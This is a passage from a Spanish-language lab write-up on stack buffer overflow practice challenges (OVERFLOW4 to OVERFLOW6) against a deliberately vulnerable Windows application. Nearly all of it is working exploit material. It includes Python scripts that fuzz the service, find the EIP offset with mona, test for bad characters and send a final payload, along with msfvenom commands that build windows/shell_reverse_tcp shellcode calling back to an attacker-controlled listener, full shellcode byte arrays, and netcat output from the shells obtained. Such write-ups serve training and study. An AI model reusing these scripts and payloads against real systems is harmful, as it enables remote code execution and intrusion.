x04\x58\x72\x75\x03""\xa2\xfb\x93\x61\xc2\xad\x0c\x1e\x7b\xf4\xc6\xbf\x84\x22\xa3""\x80\x0f\xc1\x54\x4e\xf8\xac\x46\x27\x08\xfb\x34\xee\x17\xd1""\x50\x6c\x85\xbe\xa0\xfb\xb6\x68\xf7\xac\x09\x61\x9d\x40\x33""\xdb\x83\x98\xa5\x24\x07\x47\x16\xaa\x86\x0a\x22\x88\x98\xd2""\xab\x94\xcc\x8a\xfd\x42\xba\x6c\x54\x25\x14\x27\x0b\xef\xf0""\xbe\x67\x30\x86\xbe\xad\xc6\x66\x0e\x18\x9f\x99\xbf\xcc\x17""\xe2\xdd\x6c\xd7\x39\x66\x8c\x3a\xeb\x93\x25\xe3\x7e\x1e\x28""\x14\x55\x5d\x55\x97\x5f\x1e\xa2\x87\x2a\x1b\xee\x0f\xc7\x51""\x7f\xfa\xe7\xc6\x80\x2f";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (2534).
shellcode=("\xba\x6d\xb5\x70\xc4\xda\xc3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1""\x52\x31\x56\x12\x03\x56\x12\x83\x83\x49\x92\x31\xa7\x5a\xd1""\xba\x57\x9b\xb6\x33\xb2\xaa\xf6\x20\xb7\x9d\xc6\x23\x95\x11""\xac\x66\x0d\xa1\xc0\xae\x22\x02\x6e\x89\x0d\x93\xc3\xe9\x0c""\x17\x1e\x3e\xee\x26\xd1\x33\xef\x6f\x0c\xb9\xbd\x38\x5a\x6c""\x51\x4c\x16\xad\xda\x1e\xb6\xb5\x3f\xd6\xb9\x94\xee\x6c\xe0""\x36\x11\xa0\x98\x7e\x09\xa5\xa5\xc9\xa2\x1d\x51\xc8\x62\x6c""\x9a\x67\x4b\x40\x69\x79\x8c\x67\x92\x0c\xe4\x9b\x2f\x17\x33""\xe1\xeb\x92\xa7\x41\x7f\x04\x03\x73\xac\xd3\xc0\x7f\x19\x97""\x8e\x63\x9c\x74\xa5\x98\x15\x7b\x69\x29\x6d\x58\xad\x71\x35""\xc1\xf4\xdf\x98\xfe\xe6\xbf\x45\x5b\x6d\x2d\x91\xd6\x2c\x3a""\x56\xdb\xce\xba\xf0\x6c\xbd\x88\x5f\xc7\x29\xa1\x28\xc1\xae""\xc6\x02\xb5\x20\x39\xad\xc6\x69\xfe\xf9\x96\x01\xd7\x81\x7c""\xd1\xd8\x57\xd2\x81\x76\x08\x93\x71\x37\xf8\x7b\x9b\xb8\x27""\x9b\xa4\x12\x40\x36\x5f\xf5\xaf\x6f\x49\x04\x58\x72\x75\x03""\xa2\xfb\x93\x61\xc2\xad\x0c\x1e\x7b\xf4\xc6\xbf\x84\x22\xa3""\x80\x0f\xc1\x54\x4e\xf8\xac\x46\x27\x08\xfb\x34\xee\x17\xd1""\x50\x6c\x85\xbe\xa0\xfb\xb6\x68\xf7\xac\x09\x61\x9d\x40\x33""\xdb\x83\x98\xa5\x24\x07\x47\x16\xaa\x86\x0a\x22\x88\x98\xd2""\xab\x94\xcc\x8a\xfd\x42\xba\x6c\x54\x25\x14\x27\x0b\xef\xf0""\xbe\x67\x30\x86\xbe\xad\xc6\x66\x0e\x18\x9f\x99\xbf\xcc\x17""\xe2\xdd\x6c\xd7\x39\x66\x8c\x3a\xeb\x93\x25\xe3\x7e\x1e\x28""\x14\x55\x5d\x55\x97\x5f\x1e\xa2\x87\x2a\x1b\xee\x0f\xc7\x51""\x7f\xfa\xe7\xc6\x80\x2f")eip_ret=pack("<L",0x625011af)nops="\x90"*16padding="C"buff="A"*2026+eip_ret+nops+shellcode+padding*(2500-2026-4-16-351)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW4 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_4 nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49189Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 5
Fuzzing
Realizamos fuzzing al segundo reto, utilizando esta vez OVERFLOW5.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW5 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 314 bytes.
1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 700[+] Command used:
!mona findmsp -distance 700[..][+] Examining registers
EIP contains normal pattern : 0x356b4134 (offset 314) ESP (0x0180fa30) points at offset 318 in normal pattern (length 382) EBP contains normal pattern : 0x6b41336b (offset 310) EBX contains normal pattern : 0x41326b41 (offset 306)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (700).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*314+eip_ret+nops+padding*(700-314-4)# junk 314, eip 4, padding 382 = 700try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW5 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 150 bytes adicionales, en total tendríamos 532 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*314+eip_ret+nops+padding*(700-314-4+150)# 532 padding# 314 junk, 4 eip_ret, padding 532 (shellcode + nops)# total buffer = 850try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW5 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 850 bytes de los cuales 532 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*314+eip_ret+nops+badchars+padding*(850-314-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW5 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x16\x2f\xf4\xfd".
1
\x00\x16\x2f\xf4\xfd
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x16\x2f\xf4\xfd"130 ⨯
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Failed to locate a valid permutation.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=23, char=0xf4)Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=43, char=0x16)Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=8, char=0xf4)Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353(iteration=0)x86/jmp_call_additive chosen with final size 353Payload size: 353 bytes
Final size of c file: 1508 bytes
unsigned char buf[]="\xfc\xbb\xe2\x3f\xd4\x12\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3""\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x1e\xd7\x56\x12\xde""\x28\x37\x9a\x3b\x19\x77\xf8\x48\x0a\x47\x8a\x1c\xa7\x2c\xde""\xb4\x3c\x40\xf7\xbb\xf5\xef\x21\xf2\x06\x43\x11\x95\x84\x9e""\x46\x75\xb4\x50\x9b\x74\xf1\x8d\x56\x24\xaa\xda\xc5\xd8\xdf""\x97\xd5\x53\x93\x36\x5e\x80\x64\x38\x4f\x17\xfe\x63\x4f\x96""\xd3\x1f\xc6\x80\x30\x25\x90\x3b\x82\xd1\x23\xed\xda\x1a\x8f""\xd0\xd2\xe8\xd1\x15\xd4\x12\xa4\x6f\x26\xae\xbf\xb4\x54\x74""\x35\x2e\xfe\xff\xed\x8a\xfe\x2c\x6b\x59\x0c\x98\xff\x05\x11""\x1f\xd3\x3e\x2d\x94\xd2\x90\xa7\xee\xf0\x34\xe3\xb5\x99\x6d""\x49\x1b\xa5\x6d\x32\xc4\x03\xe6\xdf\x11\x3e\xa5\xb7\xd6\x73""\x55\x48\x71\x03\x26\x7a\xde\xbf\xa0\x36\x97\x19\x37\x38\x82""\xde\xa7\xc7\x2d\x1f\xee\x03\x79\x4f\x98\xa2\x02\x04\x58\x4a""\xd7\x8b\x08\xe4\x88\x6b\xf8\x44\x79\x04\x12\x4b\xa6\x34\x1d""\x81\xcf\xdf\xe4\x42\x30\xb7\xf0\x93\xd8\xca\xfc\x96\x22\x42""\x1a\xf2\x42\x02\xb5\x6b\xfa\x0f\x4d\x0d\x03\x9a\x28\x0d\x8f""\x29\xcd\xc0\x78\x47\xdd\xb5\x88\x12\xbf\x10\x96\x88\xd7\xff""\x05\x57\x27\x89\x35\xc0\x70\xde\x88\x19\x14\xf2\xb3\xb3\x0a""\x0f\x25\xfb\x8e\xd4\x96\x02\x0f\x98\xa3\x20\x1f\x64\x2b\x6d""\x4b\x38\x7a\x3b\x25\xfe\xd4\x8d\x9f\xa8\x8b\x47\x77\x2c\xe0""\x57\x01\x31\x2d\x2e\xed\x80\x98\x77\x12\x2c\x4d\x70\x6b\x50""\xed\x7f\xa6\xd0\x0d\x62\x62\x2d\xa6\x3b\xe7\x8c\xab\xbb\xd2""\xd3\xd5\x3f\xd6\xab\x21\x5f\x93\xae\x6e\xe7\x48\xc3\xff\x82""\x6e\x70\xff\x86\x6e\x76\xff\x28";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (850).
shellcode=("\xfc\xbb\xe2\x3f\xd4\x12\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3""\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x1e\xd7\x56\x12\xde""\x28\x37\x9a\x3b\x19\x77\xf8\x48\x0a\x47\x8a\x1c\xa7\x2c\xde""\xb4\x3c\x40\xf7\xbb\xf5\xef\x21\xf2\x06\x43\x11\x95\x84\x9e""\x46\x75\xb4\x50\x9b\x74\xf1\x8d\x56\x24\xaa\xda\xc5\xd8\xdf""\x97\xd5\x53\x93\x36\x5e\x80\x64\x38\x4f\x17\xfe\x63\x4f\x96""\xd3\x1f\xc6\x80\x30\x25\x90\x3b\x82\xd1\x23\xed\xda\x1a\x8f""\xd0\xd2\xe8\xd1\x15\xd4\x12\xa4\x6f\x26\xae\xbf\xb4\x54\x74""\x35\x2e\xfe\xff\xed\x8a\xfe\x2c\x6b\x59\x0c\x98\xff\x05\x11""\x1f\xd3\x3e\x2d\x94\xd2\x90\xa7\xee\xf0\x34\xe3\xb5\x99\x6d""\x49\x1b\xa5\x6d\x32\xc4\x03\xe6\xdf\x11\x3e\xa5\xb7\xd6\x73""\x55\x48\x71\x03\x26\x7a\xde\xbf\xa0\x36\x97\x19\x37\x38\x82""\xde\xa7\xc7\x2d\x1f\xee\x03\x79\x4f\x98\xa2\x02\x04\x58\x4a""\xd7\x8b\x08\xe4\x88\x6b\xf8\x44\x79\x04\x12\x4b\xa6\x34\x1d""\x81\xcf\xdf\xe4\x42\x30\xb7\xf0\x93\xd8\xca\xfc\x96\x22\x42""\x1a\xf2\x42\x02\xb5\x6b\xfa\x0f\x4d\x0d\x03\x9a\x28\x0d\x8f""\x29\xcd\xc0\x78\x47\xdd\xb5\x88\x12\xbf\x10\x96\x88\xd7\xff""\x05\x57\x27\x89\x35\xc0\x70\xde\x88\x19\x14\xf2\xb3\xb3\x0a""\x0f\x25\xfb\x8e\xd4\x96\x02\x0f\x98\xa3\x20\x1f\x64\x2b\x6d""\x4b\x38\x7a\x3b\x25\xfe\xd4\x8d\x9f\xa8\x8b\x47\x77\x2c\xe0""\x57\x01\x31\x2d\x2e\xed\x80\x98\x77\x12\x2c\x4d\x70\x6b\x50""\xed\x7f\xa6\xd0\x0d\x62\x62\x2d\xa6\x3b\xe7\x8c\xab\xbb\xd2""\xd3\xd5\x3f\xd6\xab\x21\x5f\x93\xae\x6e\xe7\x48\xc3\xff\x82""\x6e\x70\xff\x86\x6e\x76\xff\x28")eip_ret=pack("<L",0x62501205)nops="\x90"*16padding="C"buff="A"*314+eip_ret+nops+shellcode+padding*(850-314-4-16-353)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW5 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_5 nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49210Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 6
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW6.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW6 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 1034 bytes.
1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1500[+] Command used:
!mona findmsp -distance 1500[..][+] Examining registers
EIP contains normal pattern : 0x35694234 (offset 1034) ESP (0x016efa30) points at offset 1038 in normal pattern (length 462) EBP contains normal pattern : 0x69423369 (offset 1030) EBX contains normal pattern : 0x42326942 (offset 1026)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1500).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*1034+eip_ret+nops+padding*(1500-1034-4)# junk 1034, eip 4, padding 462 = 1500try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW6 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 50 bytes adicionales, en total tendríamos 496 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1034+eip_ret+nops+padding*(1500-1034-4-16+50)# 496 padding# 1034 junk, 4 eip_ret, padding 496 (shellcode + nops)# total buffer = 1534try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW6 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1534 bytes de los cuales 496 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1034+eip_ret+nops+badchars+padding*(1534-1034-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW6 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x08\x2c\xad".
1
\x00\x08\x2c\xad
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x08\x2c\xad"Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351(iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[]="\xda\xcc\xd9\x74\x24\xf4\xbf\x95\x7d\x42\x1d\x5a\x29\xc9\xb1""\x52\x31\x7a\x17\x03\x7a\x17\x83\x7f\x81\xa0\xe8\x83\x92\xa7""\x13\x7b\x63\xc8\x9a\x9e\x52\xc8\xf9\xeb\xc5\xf8\x8a\xb9\xe9""\x73\xde\x29\x79\xf1\xf7\x5e\xca\xbc\x21\x51\xcb\xed\x12\xf0""\x4f\xec\x46\xd2\x6e\x3f\x9b\x13\xb6\x22\x56\x41\x6f\x28\xc5""\x75\x04\x64\xd6\xfe\x56\x68\x5e\xe3\x2f\x8b\x4f\xb2\x24\xd2""\x4f\x35\xe8\x6e\xc6\x2d\xed\x4b\x90\xc6\xc5\x20\x23\x0e\x14""\xc8\x88\x6f\x98\x3b\xd0\xa8\x1f\xa4\xa7\xc0\x63\x59\xb0\x17""\x19\x85\x35\x83\xb9\x4e\xed\x6f\x3b\x82\x68\xe4\x37\x6f\xfe""\xa2\x5b\x6e\xd3\xd9\x60\xfb\xd2\x0d\xe1\xbf\xf0\x89\xa9\x64""\x98\x88\x17\xca\xa5\xca\xf7\xb3\x03\x81\x1a\xa7\x39\xc8\x72""\x04\x70\xf2\x82\x02\x03\x81\xb0\x8d\xbf\x0d\xf9\x46\x66\xca""\xfe\x7c\xde\x44\x01\x7f\x1f\x4d\xc6\x2b\x4f\xe5\xef\x53\x04""\xf5\x10\x86\x8b\xa5\xbe\x79\x6c\x15\x7f\x2a\x04\x7f\x70\x15""\x34\x80\x5a\x3e\xdf\x7b\x0d\x81\x88\x95\xcc\x69\xcb\x99\xcb""\x53\x42\x7f\xb9\xb3\x02\x28\x56\x2d\x0f\xa2\xc7\xb2\x85\xcf""\xc8\x39\x2a\x30\x86\xc9\x47\x22\x7f\x3a\x12\x18\xd6\x45\x88""\x34\xb4\xd4\x57\xc4\xb3\xc4\xcf\x93\x94\x3b\x06\x71\x09\x65""\xb0\x67\xd0\xf3\xfb\x23\x0f\xc0\x02\xaa\xc2\x7c\x21\xbc\x1a""\x7c